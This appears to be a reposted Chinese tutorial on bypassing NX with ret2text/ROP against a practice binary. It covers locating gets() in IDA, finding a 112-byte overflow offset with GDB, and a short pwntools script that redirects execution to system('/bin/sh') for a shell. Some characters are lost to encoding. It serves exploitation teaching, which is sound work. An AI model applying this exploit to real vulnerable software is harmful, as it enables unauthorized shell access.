本文視頻:
???????? 如果文字過于枯燥,可觀看在線視頻:https://edu.51cto.com/sd/16514
基礎知識:
??????? 隨著 NX 保護的開啟,以往直接向?;蛘叨焉现苯幼⑷氪a的方式難以繼續發揮效果。***者們也提出來相應的方法來繞過保護,目前主要的是 ROP(Return Oriented Programming),其主要思想是在棧緩沖區溢出的基礎上,利用程序中已有的小片段 (gadgets) 來改變某些寄存器或者變量的值,從而控制程序的執行流程。所謂 gadgets 就是以 ret 結尾的指令序列,通過這些指令序列,我們可以修改某些地址的內容,方便控制程序的執行流程。
之所以稱之為 ROP,是因為核心在于利用了指令集中的 ret 指令,改變了指令流的執行順序。ROP ***一般得滿足如下條件
程序存在溢出,并且可以控制返回地址。
可以找到滿足條件的 gadgets 以及相應 gadgets 的地址。
如果 gadgets 每次的地址是不固定的,那我們就需要想辦法動態獲取對應的地址了。
今天我們講一下程序在開啟NX(NX即No-eXecute(不可執行)的意思,NX(DEP)的基本原理是將數據所在內存頁標識為不可執行,當程序溢出成功轉入shellcode時,程序會嘗試在數據頁面上執行指令,此時CPU就會拋出異常,而不是去執行惡意指令。)時如何溢出。
原理 ?
ret2text 即控制程序執行程序本身已有的的代碼 (.text)。其實,這種***方法是一種籠統的描述。我們控制執行程序已有的代碼的時候也可以控制程序執行好幾段不相鄰的程序已有的代碼 (也就是 gadgets),這就是我們所要說的 ROP。
這時,我們需要知道對應返回的代碼的位置。當然程序也可能會開啟某些保護,我們需要想辦法去繞過這些保護。
第一步:反匯編代碼查看代碼結構
我們講程序放到IDA中進行分析:
我們發現在代碼中出現了gets函數(gets()唯一的參數是words,它無法檢查是否裝得下輸入行。數組名會轉換成該數組首元素的地址,因此gets()函數只知道數組的開始處,并不知道數組中有多少個元素。如果輸入的字符串過長,會導致緩沖區溢出(buffer overflow)).
第二步:測試溢出偏移量
講程序加載到GDB中進行調試:gdb ./xxxx
執行命令:pattern create 200 用來創建字符串,幫助我們定位溢出偏移量。
執行命令:r
輸入我們剛才創建的200個字符
此時會爆出一個地址,根據這個地址來得到偏移量
執行命令pattern offset 0x41384141
發現偏移量是112,我們此時也知道了system("/bin/sh")的地址,將??臻g的函數返回地址改為system("/bin/sh")即可跳轉到此處執行,從而獲取shell。地址一定是0x0804863a,因為執行完該行之后system函數才知道參數是"/bin/sh"。
PS:也可以使用:objdump -d ./ret2text |grep system來查看地址
我們來看下代碼:
from pwn import *
elf = ELF('./ret2text')
p = process('./ret2text')
payload = 112 * 'a' + p32(0x804863a)
p.sendline(payload)
p.interactive()
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。